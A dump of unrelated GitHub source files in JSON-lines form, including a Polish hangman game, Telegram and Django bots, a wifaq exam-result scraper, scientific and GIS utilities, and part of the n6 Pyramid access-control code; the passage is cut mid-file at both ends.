'kaczka', 'category': 'zwierze'},\n {'word': 'fartuch', 'category': 'ubranie'},\n {'word': 'lodz podwodna', 'category': 'pojazd wodny'},\n {'word': 'kot', 'category': 'zwierze'},\n {'word': 'kwiat', 'category': 'roslina'},\n {'word': 'slon', 'category': 'zwierze'},\n {'word': 'mysz', 'category': 'zwierze'},\n {'word': 'zagiel', 'category': 'przedmiot wodny'}\n]\n\nlifes = 5\nused_letters = []\n\ncurrent_word = ''\ncurrent_category = ''\nuser_word = ''\n\n\ndef new_game():\n global random_entry, current_category, current_word, lifes, used_letters, user_word\n random_entry = random.choice(words)\n current_word = random_entry['word']\n current_category = random_entry['category']\n lifes = 5\n used_letters = []\n user_word = ''\n for letter in current_word:\n user_word += '_'\n\n \ndef generate_used_letters_text(used_letters):\n used_letters_string = ''\n for element in used_letters:\n used_letters_string += element + ', '\n used_letters_string = used_letters_string[:len(used_letters_string) - 2]\n return used_letters_string\n \nnew_game()\n\nwhile True:\n event, values = window.read()\n \n if event == '-NEW_GAME-':\n new_game()\n window['-INFO-'].update(\"Rozpoczeto nowa gre.\")\n window['-SEND-'].update(disabled=False)\n window['-INPUT-'].update(disabled=False)\n \n if event == sg.WIN_CLOSED or event == '-EXIT-': # if user closes window or clicks cancel\n break\n \n if len(values['-INPUT-']) == 1:\n letter = values['-INPUT-'].lower()\n window['-INPUT-'].update(\"\")\n \n if letter not in used_letters:\n used_letters.append(letter)\n \n if letter not in current_word or letter in user_word:\n window['-INFO-'].update(\"Pudlo!\")\n lifes -= 1\n \n if letter in current_word and letter not in user_word:\n new_user_word = ''\n for id, word_letter in enumerate(current_word):\n if letter == current_word[id]:\n new_user_word += letter\n else:\n new_user_word += user_word[id]\n user_word = new_user_word\n window['-INFO-'].update(\"Trafiono!\")\n \n \n elif (len(values['-INPUT-']) < 1):\n window['-INFO-'].update(\"Pole nie moze byc puste.\")\n window['-INPUT-'].update(\"\")\n else:\n window['-INFO-'].update(\"Mozesz podac tylko jenda litere na raz!\")\n window['-INPUT-'].update(\"\")\n \n \n window['-CATEGORY-'].update('Kategoria: ' + current_category)\n window['-USED_LETTERS-'].update('Użyte litery: ' + generate_used_letters_text(used_letters))\n window['-LIFES-'].update('Zycia: ' + str(lifes))\n window['-WORD-'].update('Slowo: ' + \" \".join(user_word))\n \n if (user_word == current_word):\n window['-INFO-'].update(\"Wygrales!\")\n window['-SEND-'].update(disabled=True)\n window['-INPUT-'].update(disabled=True)\n \n if (lifes == 0):\n window['-INFO-'].update(\"Przegrales!\")\n window['-SEND-'].update(disabled=True)\n window['-INPUT-'].update(disabled=True)\n \nwindow.close()\n","repo_name":"KeryaneK/Python-Hangman-PySimpleGUI","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6872,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37758446531","text":"moi_mov = [-1001387857902]\r\n\r\nasync def apd_scheduler():\r\n mobies = udB.hgetall(\"AUTO_MOVIE\")\r\n for chnnl, ids in mobies.items():\r\n chnnl = int(chnnl) if str(chnnl).isdigit() else str(chnnl)\r\n lasty = (await ultroid.get_messages(chnnl, limit=1))[0]\r\n if int(ids) == lasty.id:\r\n LOGS.info(f\"••• Everything Backed-up from ~ {chnnl}\")\r\n continue\r\n\r\n tt1, cnt = time.time(), 0\r\n async for x1 in ultroid.iter_messages(\r\n chnnl, min_id=int(ids), reverse=True,\r\n ):\r\n udB.hset(\"AUTO_MOVIE\", chnnl, str(x1.id))\r\n await asyncio.sleep(1)\r\n if x1 and x1.video:\r\n try:\r\n await ultroid.send_file(ENTX, x1, caption=x1.text, silent=True)\r\n cnt += 1\r\n await asyncio.sleep(randrange(5, 16))\r\n except FloodWaitError as ex:\r\n await asyncio.sleep(ex.seconds + 30)\r\n except Exception as ex:\r\n LOGS.error(f\"\\n\\n••• Error Movie fwd SCHD: \\n{ex}\\n\")\r\n\r\n LOGS.info(f\"\\n\\n••• Copied {cnt} movies from ~ {chnnl}! | \" \\\r\n f\"Time taken ~ {round(time.time() - tt1)}s \\n\")\r\n\r\nschedule.add_job(apd_scheduler, \"interval\", minutes=35, id=\"apd_schd\")","repo_name":"avish-kumar2/python-code","sub_path":"apd_schd.py","file_name":"apd_schd.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39332709843","text":"from copy import deepcopy\n\nimport numpy as np\nfrom oct2py import octave\n\nfrom auxiliary.config_case14 import mp_opt\n\n\ndef distribute_slack(case, droop_constants, converge_options):\n \"\"\"\n Redistributes the added slack generation to all generators according to participation factors\n\n :param case: Matpower test case (containing faulted lines)\n :param slack_ind: Index to the slack bus\n :param droop_constants: percent droop of each generator\n :param converge_options: convergence options\n :return test_result_dist: test case result (faulted lines) with adjusted generation profile\n \"\"\"\n\n slack_ind = case['slack_ind']\n\n # Copy of test case worked with\n case_distr = deepcopy(case)\n\n # Original power generated at slack bus\n base_slack = case['gen'][slack_ind, 1]\n\n # Normalize droop\n droop_weighted = droop_constants*case['gen'][:, 6]\n droop_norm = droop_weighted/np.sum(droop_weighted).reshape((-1, 1))\n\n # Calculate added slack bus load\n test_result_dist = octave.runpf(case_distr, mp_opt)\n\n # Return if power flow does not converge\n if test_result_dist['success'] == 0:\n print('Convergence error')\n return False\n\n slack_diff = test_result_dist['gen'][slack_ind, 1] - base_slack\n\n # Iterate power flow until convergence or max iteration is reached\n count = 0\n while slack_diff > converge_options['tolerance'] and count <= converge_options['max iteration']:\n\n # Redistribute slack\n case_distr['gen'][:, 1] = case_distr['gen'][:, 1] + droop_norm*slack_diff\n\n # Run power flow\n test_result_dist = octave.runpf(case_distr, mp_opt)\n\n # Change in slack output before and after\n slack_diff = test_result_dist['gen'][slack_ind, 1] - case_distr['gen'][slack_ind, 1]\n\n count += 1\n\n return test_result_dist\n","repo_name":"ADM91/PowerSystem-DL","sub_path":"system/distribute_slack.py","file_name":"distribute_slack.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"32"} +{"seq_id":"70586142811","text":"from websockets.client import connect\nfrom websockets.server import serve\nimport uasyncio as asyncio\n\n\nasync def client_test():\n ws = await connect(\"ws://192.168.3.65:7777/test\")\n if not ws:\n print(\"connection failed\")\n return\n await ws.send(\"This is a story\")\n print(await ws.recv())\n await ws.wait_closed()\n\n\nasync def add_client(ws, path):\n print(\"Connection on {}\".format(path))\n\n try:\n async for msg in ws:\n print(msg)\n await ws.send(msg)\n finally:\n print(\"Disconnected\")\n\n\nws_server = serve(add_client, \"0.0.0.0\", 7777)\nloop = asyncio.get_event_loop()\nloop.run_until_complete(ws_server)\nloop.run_forever()\n","repo_name":"zignig/steves_brain","sub_path":"rover/files/websockets/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1361363966","text":"from django.conf.urls import patterns, include, url\n\nfrom irony import views\n\n\n# Uncomment the next two lines to enable the admin:\n# from django.contrib import admin\n# admin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'annotatr.views.home', name='home'),\n # url(r'^annotatr/', include('annotatr.foo.urls')),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n\n # Uncomment the next line to enable the admin:\n # url(r'^admin/', include(admin.site.urls)),\n url(r'^$', views.index, name='index'),\n # ex: /irony/5/\n url(r'^(?P\\d+)/$', views.show_comment, name='show_comment'),\n #url(r'^accounts/login/$', 'django.contrib.auth.views.login', {'template_name': 'login.html'})\n (r'^accounts/', include('registration.urls')),\n)\n","repo_name":"bwallace/computational-irony","sub_path":"annotation/annotatr/annotatr/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"43852326979","text":"from filecmp import cmp\n\nfrom flask import Flask, redirect, abort\n\napp = Flask(__name__,\n static_url_path=\"/python\", #访问静态资源的url地址,默认是static\n static_folder=\"static\", # 静态文件的目录,默认就是static\n template_folder=\"templates\", # 模板文件的目录,默认是templates\n )\n@app.route('/')\ndef hello_world():\n days = ['Monday', 'Tuesday', 'Wednesday',\n 'Thursday', 'Friday']\n print(days)\n print('你好,世界')\n return '你好,世界!'\n@app.route('/user')\ndef getUser():\n total='abc'+\\\n 'mnq'+\\\n 'happy'\n print(total)\n if True:\n print('糟糕透顶')\n print('相同代码块的代码缩进空格必须相同')\n else:\n print('世界很美好')\n return 'joinx-hello,to start python'\n@app.route('/dynimic/')\ndef dynimicPath(path):\n # return 'app' % path\n return redirect('http://www.baidu.com')\n@app.route('/user/')\ndef get_user(id):\n counter = 100 # 赋值整型变量\n miles = 1000.0 # 浮点型\n name = \"John\" # 字符串\n print(counter);print(name);print(miles)\n\n\n abort(404) # 将404的状态码返回给web浏览器\n return '

    Hello, %s

    '\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"yunnuoyang/joinx-flask-day01","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7816040485","text":"bot_token= '' # Сюда вставляем токен нашего бота в телеграме\r\nsheets_id= '' # Сюда вставляем айди гугл таблицы (часть ссылки)\r\nsheets_size = 'A:F' # Здесь указываем столбцы от и до в которых содержатся данные\r\nsheets_ss_id= '' # Айди таблицы с себестоимостью\r\nsheets_size_ss= 'A:C' # Размер таблицы с сс\r\nsheets_id_other=''#Таблца со всем кроме икры\r\nsheets_ss_all=''# Таблица с себестоимсотью со всем кроме икры\r\nsheet_cassa= '' #Таблица с кассой\r\nsheet_cassa_size=''\r\nsheet_garage_ikra=''#Таблица с остатками икры\r\nsheet_garage_ikra_size='A:C'\r\nsheet_garage_all=''\r\nsheet_garage_all_size='A:C'\r\n","repo_name":"dankuz05/telegram-googlesheets-pandas","sub_path":"data_for_start.py","file_name":"data_for_start.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18394995318","text":"import pandas as pd\nimport geopandas as gpd\nfrom shapely.geometry import box\nfrom fiona.crs import from_epsg\nimport rasterio \nfrom rasterio.mask import mask\nfrom ..tools import image_array_to_gdf\n\ndef get_features(gdf):\n \"\"\"Function to parse features from GeoDataFrame in such a manner that rasterio wants them\"\"\"\n import json\n return [json.loads(gdf.to_json())['features'][0]['geometry']]\n\ndef create_bbox_polygon(gdf_poly, output_crs):\n gdf_poly_bounds = gdf_poly.bounds\n minx, miny = gdf_poly_bounds.minx, gdf_poly_bounds.miny\n maxx, maxy = gdf_poly_bounds.maxx, gdf_poly_bounds.maxy\n bbox = box(minx, miny, maxx, maxy)\n gdf_bbox = gpd.GeoDataFrame({'geometry': bbox}, index=[0], crs=output_crs)\n return gdf_bbox\n\ndef clip_raster_by_polygon(image, gdf_poly):\n bbox_coords = get_features(gdf_poly)\n out_img, out_transform = mask(image, shapes=bbox_coords, crop=True)\n \n out_meta = image.meta.copy()\n out_meta.update({\n \"driver\": \"GTiff\",\n \"height\": out_img.shape[1],\n \"width\": out_img.shape[2],\n \"transform\": out_transform\n }\n )\n return out_img, out_meta\n\ndef create_raster_samples_tiles(raster_path, gdf_polys, output_folder):\n raster = rasterio.open(raster_path)\n raster_crs = raster.meta['crs']\n gdf_polys = gdf_polys.to_crs(crs=raster_crs)\n \n for i in range(len(gdf_polys)): \n poly_id = gdf_polys.loc[i, 'id']\n poly_descrip = gdf_polys.loc[i, 'descrip']\n \n gdf_bbox = create_bbox_polygon(gdf_polys.iloc[[i]], raster_crs)\n out_img, out_meta = clip_raster_by_polygon(raster, gdf_bbox)\n \n if output_file[-1] != '/':\n output_file = output_file+\"/\"\n output_file = output_folder + poly_descrip+\"/\"+poly_id+\".tif\"\n with rasterio.open(output_file, \"w\", **out_meta) as dest:\n dest.write(out_img)\n dest.close()\n raster.close()\n\ndef create_raster_samples_gdf(raster_path, gdf_polys):\n raster = rasterio.open(raster_path)\n raster_crs = raster.meta['crs']\n gdf_polys = gdf_polys.to_crs(crs=raster_crs)\n gdf_output = pd.DataFrame([])\n \n for i in range(len(gdf_polys)):\n poly_id = gdf_polys.loc[i, 'id']\n poly_class = gdf_polys.loc[i, 'class']\n\n gdf_bbox = create_bbox_polygon(gdf_polys.iloc[[i]], raster_crs)\n out_img, out_meta = clip_raster_by_polygon(raster, gdf_bbox)\n\n gdf_sample = image_array_to_gdf(out_img)\n gdf_sample['class'] = poly_class\n gdf_sample['img_id'] = poly_id\n if len(gdf_output) == 0:\n gdf_output = gdf_sample\n else:\n gdf_output = pd.concat([gdf_output, gdf_sample])\n\n return gdf_output","repo_name":"DiegoMCastellari/Rasterian","sub_path":"rasterian/vector/clip.py","file_name":"clip.py","file_ext":"py","file_size_in_byte":2700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32734799072","text":"import sys\nimport pygame\nimport pygame.camera\nimport maingui\npygame.init()\npygame.camera.init()\nDisplay= pygame.display.set_mode((800,480))\ncam = pygame.camera.Camera(\"/dev/video0\",(800,480))\ndef cam_init():\n global cam\n cam.start()\n cam.set_controls(hflip = False, vflip = True)\ndef close(msg=None):\n global cam\n cam.stop()\n maingui.main_window()\n \ndef cam_window():\n cam_init()\n single_click=True\n while True:\n image = cam.get_image()\n Display.blit(image,(0,0))\n pygame.display.update()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n close()\n elif event.type==pygame.MOUSEBUTTONDOWN:\n close()\n \n \n\nif __name__ == \"__main__\":\n cam_window()\n","repo_name":"mohansam/Raspberry-pi-based-home-automation-raspberrypi-installation","sub_path":"snowboy/camerapreview.py","file_name":"camerapreview.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12731063304","text":"import tcod\n\nfrom game_messages import Message\n\nfrom network import Network\n\ndef heal(*args, **kwargs):\n entity = args[0]\n amount = kwargs.get('amount')\n\n results = []\n\n if entity.combat_entity.hp == entity.combat_entity.max_hp:\n results.append({'consumed': False, 'message': Message('You are already at full health', tcod.yellow)})\n else:\n entity.combat_entity.heal(amount)\n results.append({'consumed': True, 'message': Message('You drink the health potion.', tcod.yellow)})\n \n return results\n\ndef restore_mana(*args, **kwargs):\n entity = args[0]\n amount = kwargs.get('amount')\n\n results = []\n\n if entity.combat_entity.mana == entity.combat_entity.max_mana:\n results.append({'consumed': False, 'message': Message('You are already at full mana', tcod.yellow)})\n else:\n entity.combat_entity.restore_mana(amount)\n results.append({'consumed': True, 'message': Message('You drink the mana potion', tcod.yellow)})\n \n return results\n\ndef invade_player(*args, **kwargs):\n results = []\n\n results.append({'invade': True, 'consumed': True, 'message': Message('Searching for a player to invade...', tcod.lighter_crimson)})\n\n return results\n","repo_name":"ralphbarac/Python-Roguelike","sub_path":"item_functions.py","file_name":"item_functions.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13097312097","text":"#from bson import ObjectId\nfrom databaseConnections import db_user\nimport datetime\n\n\"\"\"\nadd = Address(\"13 Prabhupark Society\", \"Radhanpur Road\", \"Mehsana\", \"Gujarat\", \"384002\")\nemer = Emergency(\"Utkarsh\", \"Patel\", \"9586244772\", \"F\")\nuser = create_user(\"Priyang\", \"something12@gmail.com\", \"2001-09-12\", 'M', \"9409481618\", \"888888888877\", add, emer)\n#user = create_doctor(\"Priyang\", 'M', \"9409481618\", \"123456789032\", \"111111\")\nprint(user)\n\"\"\"\n\"\"\"\nx = create_report(\"111111\", \"888888888888\")\nprint(x)\n\n\n#find_user_name(\"Priyang\")\n#update_user(\"123456789023\", \"9586244772\")\n\"\"\"\n\n\"\"\"x = db_user.find()\nfor i in x:\n print(i['Email'])\n\"\"\"\n\n\"\"\"\ndef find_user(u_id):\n user = db_user.find_one({'_id': ObjectId(u_id)})\n return user\n\nuser = find_user(\"5e503196440c8a31c881f25a\")\nprint(user)\n\"\"\"\n\n\nuser = db_user.find()\n\nprint(user)\n\n\nuser = db_user.find()\n\nprint(user)\n\nfor i in user:\n print(i['Email'])\n\n#\n# users = db_user.find_one(\n# {\n# \"$where\": \"function() {\n# today = new Date();\n# today.setHours(0,0,0,0);\n# return (this._id.getTimestamp() >= today)\n# } \"\n# }\n# )","repo_name":"Utkarsh-Patel-13/HealthCard","sub_path":"testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"20339034198","text":"\"\"\"\nTests calculation graphs such as PSD/t_plot/BET etc\n\"\"\"\n\nimport pytest\n\nimport pygaps.graphing.calc_graphs as graphing\n\nfrom ..test_utils import mpl_cleanup\n\n\n@pytest.mark.graphing\nclass TestCalcGraphs():\n \"\"\"Tests all calculation graphs\"\"\"\n @mpl_cleanup\n def test_bet_graph(self):\n \"\"\"Test BET graph\"\"\"\n\n pressure = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7]\n bet_points = [0.1, 0.15, 0.2, 0.25, 0.3, 0.35, 0.4]\n min_p = 2\n max_p = 6\n slope = 0.5\n intercept = 0.01\n mono_p = 0.33\n mono_bet = 0.23\n\n graphing.bet_plot(pressure, bet_points, min_p, max_p, slope, intercept, mono_p, mono_bet)\n\n @mpl_cleanup\n def test_roq_graph(self):\n \"\"\"Test Rouquerol graph\"\"\"\n\n pressure = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7]\n roq_points = [0.1, 0.15, 0.2, 0.25, 0.3, 0.35, 0.4]\n min_p = 2\n max_p = 6\n slope = 0.5\n intercept = 0.01\n\n graphing.roq_plot(pressure, roq_points, min_p, max_p, slope, intercept)\n","repo_name":"pauliacomi/pyGAPS","sub_path":"tests/graphing/test_calc_graphs.py","file_name":"test_calc_graphs.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"32"} +{"seq_id":"32632648842","text":"import re\nimport json\nimport time\nimport random\nimport requests\nfrom bs4 import BeautifulSoup as bs\nfrom concurrent.futures import ThreadPoolExecutor\n\nfrom django.shortcuts import render, HttpResponse\nfrom django.http import JsonResponse\nfrom django.contrib.auth.decorators import login_required\nfrom .models import EXAM_YEARS, MARHALA, Result, Proxy\n\nfrom result.bijoy_to_unicode import convertBijoyToUnicode\n\nexecutor = ThreadPoolExecutor(10)\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}\n\n\ndef get_result_from_befaq_server(exam_year, marhala, roll):\n all_proxies = Proxy.objects.all()\n\n result_url = \"http://wifaqresult.com/result/{year}/{marhala}/{roll}\". \\\n format(year=exam_year, marhala=marhala, roll=roll)\n # r = requests.get(result_url, headers=headers)\n # random_proxy = ''\n\n random_proxy = random.choice(all_proxies)\n proxy_dict = {\"http\": random_proxy.ip}\n\n while True:\n try:\n r = requests.get(result_url, headers=headers)\n if r.status_code == 429:\n time.sleep(60)\n r = requests.get(result_url, headers=headers)\n\n r.encoding = 'utf-8'\n result = bs(r.text, \"html.parser\")\n try:\n result_in_js = result.find_all('script')[-1]\n pattern = re.compile(\n \"var result = (?P{[\\n\\s\\w\\W':,`]*});\\s*var additional = (?P{[\\n\\s\\w\\W':,`]*});\")\n result_regex = re.search(pattern, result_in_js.text)\n result_info = eval(result_regex.group('result'))\n addition_info = eval(result_regex.group('addition'))\n except Exception as e:\n print(\"exception in result extracting\")\n print(e)\n return None\n\n result_list = []\n result_list.append(\"রোলঃ {}\".format(convertBijoyToUnicode(str(addition_info['roll']))))\n result_list.append(\"নিবন্ধন নংঃ {}\".format(convertBijoyToUnicode(str(addition_info['alid']))))\n result_list.append(\"নামঃ {}\".format(convertBijoyToUnicode(str(addition_info['name']))))\n result_list.append(\"পিতার নামঃ {}\".format(convertBijoyToUnicode(str(addition_info['father']))))\n result_list.append(\"মাদ্রাসাঃ {}\".format(convertBijoyToUnicode(str(addition_info['madrasa']))))\n result_list.append(\"মারকাযঃ {}\".format(convertBijoyToUnicode(str(addition_info['markaj']))))\n result_list.append(\"জন্ম তারিখঃ {}\".format(convertBijoyToUnicode(str(addition_info['birth']))))\n result_list.append(\"সনঃ {}\".format(convertBijoyToUnicode(str(addition_info['year']))))\n result_list.append(\"মারহালাঃ {}\".format(convertBijoyToUnicode(str(addition_info['marhala']))))\n\n for k, v in result_info.items():\n result_list.append(\"{} : {}\".format(convertBijoyToUnicode(k), convertBijoyToUnicode(v)))\n\n result_list.append(\n \"মোট প্রাপ্ত নম্বরঃ {}\".format(convertBijoyToUnicode(str(addition_info['total-mark']))))\n result_list.append(\"প্রাপ্ত বিভাগঃ {}\".format(convertBijoyToUnicode(str(addition_info['grade']))))\n result_list.append(\"মেধা স্থানঃ {}\".format(convertBijoyToUnicode(str(addition_info['position']))))\n\n result_string_for_save_in_db = '\\n'.join(result_list)\n\n # replace a broken bangla!\n broken_word = 'জায়ি্যদ'\n correct_word = 'জায়্যিদ'\n result_string = result_string_for_save_in_db.replace(broken_word, correct_word)\n\n print(\"roll {} grabbed, using proxy: {}\".format(roll, random_proxy))\n random_proxy.accepted = random_proxy.accepted + 1\n random_proxy.save()\n return result_string\n\n except Exception as e:\n print(\"exception in get_result_from_befaq_server\")\n print(e)\n\n\ndef load_data(start, stop, exam_year, marhala):\n error_count = 0\n for roll in range(start, stop):\n print('roll {} result grabbing'.format(roll))\n\n try:\n if error_count > 100:\n break\n\n if Result.objects.filter(student_roll=roll, student_marhala=marhala, exam_year=exam_year).exists():\n continue\n\n result_string = get_result_from_befaq_server(exam_year, marhala, roll)\n if not result_string:\n continue\n\n new_result = Result(student_roll=roll, student_marhala=marhala, exam_year=exam_year)\n new_result.result = result_string\n new_result.save()\n print('result for roll {} added to database'.format(roll))\n\n except Exception as e:\n error_count += 1\n print(\"exception in load_data\")\n print(e)\n\n if error_count > 100:\n print('data loading aborted due to more then 100 error')\n\n\n@login_required\ndef grab_proxies(request):\n try:\n for i in range(100):\n res = requests.get(\"http://pubproxy.com/api/proxy\", headers=headers)\n print(res.text)\n res = json.loads(res.text)\n proto = res['data'][0]['type']\n ip_port = res['data'][0]['ipPort']\n\n if proto not in [\"http\", \"https\"]:\n continue\n\n http_proxy = \"{}://{}\".format(proto, ip_port)\n p, c = Proxy.objects.get_or_create(ip=http_proxy)\n print(\"proxy {}, created: {}\".format(p.ip, c))\n\n except Exception as e:\n print(e)\n\n return HttpResponse(\"Grabbed\")\n\n\n@login_required\ndef grab_results(request):\n if request.method == 'POST':\n print(request.POST)\n\n exam_year = request.POST.get('exam_year')\n marhala = request.POST.get('marhala')\n\n start = int(request.POST.get('start'))\n stop = int(request.POST.get('stop'))\n\n if exam_year and marhala:\n executor.submit(load_data, start, stop, exam_year, marhala)\n else:\n print('exam_year or marhala not provided')\n\n context = {\n 'marhala': dict(MARHALA),\n 'exam_years': dict(EXAM_YEARS),\n }\n\n return render(request, 'result/grab_results.html', context)\n\n\nMARHALA_MAP = {'t': 1,\n 'f': 2,\n 's': 3,\n # number 4 missing in wifaqresult website!\n 'm': 5,\n 'i': 6,\n 'h': 7,\n 'q': 8,\n }\n\n\ndef get_result(request, exam_year, marhala, roll):\n marhala = MARHALA_MAP.get(str(marhala).lower())\n if not marhala:\n response = {\n \"status\": False,\n \"messages\": [{\"text\": \"Marhala Name Does Not Matched!\\nType Help To Read More.\"}]\n }\n return JsonResponse(response, status=404)\n\n result = Result.objects.filter(exam_year=exam_year, student_marhala=marhala, student_roll=roll)\n if result.exists():\n response = {\n \"messages\": [{\"text\": result.first().result}]\n }\n return HttpResponse(json.dumps(response, ensure_ascii=False), content_type=\"application/json\")\n else:\n try:\n result_string = get_result_from_befaq_server(exam_year, marhala, roll)\n if result_string:\n new_result = Result(exam_year=exam_year, student_marhala=marhala, student_roll=roll)\n new_result.result = result_string\n new_result.save()\n\n response = {\n \"messages\": [{\"text\": new_result.result}]\n }\n return HttpResponse(json.dumps(response, ensure_ascii=False), content_type=\"application/json\")\n\n except Exception as e:\n print(\"exception in get result\")\n print(e)\n\n response = {\n \"messages\": [{\"text\": \"result not found\"}]\n }\n return JsonResponse(response, status=404)\n\n\ndef index(request):\n return HttpResponse(\"Its Working! \")\n","repo_name":"rabiulislam-xyz/befaq-chatbot-2","sub_path":"result/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4740786755","text":"import datetime\nimport json\nfrom collections import MutableSequence\n\nfrom pyramid.httpexceptions import (\n HTTPBadRequest,\n HTTPForbidden,\n HTTPGone,\n HTTPNotFound,\n HTTPServerError,\n)\nfrom pyramid.authentication import AuthTktAuthenticationPolicy\nfrom pyramid.response import Response\nfrom pyramid.security import (\n Allow,\n Authenticated,\n Everyone,\n)\nfrom pyramid.tweens import EXCVIEW\n\nimport n6lib.config\nfrom n6lib.auth_api import (\n RESOURCE_ID_TO_ACCESS_ZONE,\n AuthAPIUnauthenticatedError,\n)\nfrom n6lib.class_helpers import attr_required\nfrom n6lib.common_helpers import (\n make_condensed_debug_msg,\n make_hex_id,\n)\nfrom n6lib.log_helpers import get_logger\nfrom n6lib.pyramid_commons.renderers import (\n # by importing that submodule we ensure that\n # these stream renderers are registered\n # (see the assertions at the end of the current module)\n StreamRenderer_csv,\n StreamRenderer_iodef,\n SnortDNSRenderer,\n SnortHTTPRenderer,\n SnortIPRenderer,\n SnortIPBlacklistRenderer,\n SuricataDNSRenderer,\n SuricataHTTPRenderer,\n SuricataIPRenderer,\n SuricatatIPBlacklistRenderer,\n)\nfrom n6lib.transaction_helpers import transact\nfrom n6sdk.pyramid_commons import (\n AbstractViewBase,\n BaseAuthenticationPolicy,\n ConfigHelper,\n DefaultStreamViewBase,\n registered_stream_renderers,\n)\ntry:\n from n6lib.manage_api import ManageAPIClientError\nexcept ImportError:\n _MANAGE_API = False\nelse:\n _MANAGE_API = True\n\n\nLOGGER = get_logger(__name__)\n\n\n#\n# Debugging info helpers\n\ndef log_debug_info_on_http_exc(http_exc):\n code = getattr(http_exc, 'code', None)\n if not isinstance(code, (int, long)) or not 200 <= code < 500:\n LOGGER.error(\n 'Condensed debug info related to %r:\\n%s',\n http_exc, make_condensed_debug_msg())\n\n\n#\n# Basic helpers\n\n# SSL_CLIENT_S_DN_O is assumed to be organization id\nSSL_ORG_ID_FIELD = 'SSL_CLIENT_S_DN_O'\n# SSL_CLIENT_S_DN_CN is assumed to be user id\nSSL_USER_ID_FIELD = 'SSL_CLIENT_S_DN_CN'\n\n\ndef get_certificate_credentials(request):\n org_id = request.environ.get(SSL_ORG_ID_FIELD)\n user_id = request.environ.get(SSL_USER_ID_FIELD)\n if org_id is not None and user_id is not None:\n if ',' in org_id:\n LOGGER.warning('Comma in org_id %r.', org_id)\n return None, None\n if ',' in user_id:\n LOGGER.warning('Comma in user_id %r.', user_id)\n return None, None\n return org_id, user_id\n\n\n#\n# Basic classes\n\nclass N6PortalRootFactory(object):\n\n \"\"\"\n A simple Root Factory for a website using URL dispatch,\n providing a simple access control list.\n \"\"\"\n\n __acl__ = [\n (Allow, Everyone, 'all'),\n (Allow, Authenticated, 'auth'),\n ]\n\n def __init__(self, request):\n self.request = request\n\n\nclass N6DefaultStreamViewBase(DefaultStreamViewBase):\n\n IODEF_ITEM_NUMBER_LIMIT = 1000\n\n break_on_result_cleaning_error = False\n\n def __init__(self, *args, **kwargs):\n super(N6DefaultStreamViewBase, self).__init__(*args, **kwargs)\n self.auth_api = self.request.registry.auth_api\n self._set_access_attributes()\n\n def _set_access_attributes(self):\n assert self.resource_id in RESOURCE_ID_TO_ACCESS_ZONE\n access_info = self.auth_api.get_access_info(self.request.auth_data)\n if self._is_access_forbidden(access_info):\n raise HTTPForbidden(u'Access not allowed.')\n self.access_zone_conditions = access_info['access_zone_conditions']\n self.full_access = access_info['rest_api_full_access']\n self.res_limits = access_info['rest_api_resource_limits'][self.resource_id]\n\n def _is_access_forbidden(self, access_info):\n access_zone = RESOURCE_ID_TO_ACCESS_ZONE[self.resource_id]\n return (access_info is None or\n self.resource_id not in access_info['rest_api_resource_limits'] or\n not access_info['access_zone_conditions'].get(access_zone))\n\n def get_clean_param_dict_kwargs(self):\n return dict(\n auth_api=self.auth_api,\n full_access=self.full_access,\n res_limits=self.res_limits,\n )\n\n def get_clean_result_dict_kwargs(self):\n # in the `params` dict, the value for the 'opt.primary' key, if\n # present, must be a 1-element list containing the cleaned value\n # of the `opt.primary` flag: True or False (the `opt.primary` data\n # spec field has single_param=True, and its type is FlagField)\n [opt_primary] = self.params.get('opt.primary', [False])\n return dict(\n auth_api=self.auth_api,\n full_access=self.full_access,\n opt_primary=opt_primary,\n )\n\n def get_extra_api_kwargs(self):\n return dict(\n data_spec=self.data_spec,\n access_zone_conditions=self.access_zone_conditions,\n res_limits=self.res_limits,\n item_number_limit=(\n self.IODEF_ITEM_NUMBER_LIMIT if self.renderer_name == 'iodef'\n else None\n ),\n )\n\n @classmethod\n def adjust_exc(cls, exc):\n http_exc = super(N6DefaultStreamViewBase, cls).adjust_exc(exc)\n 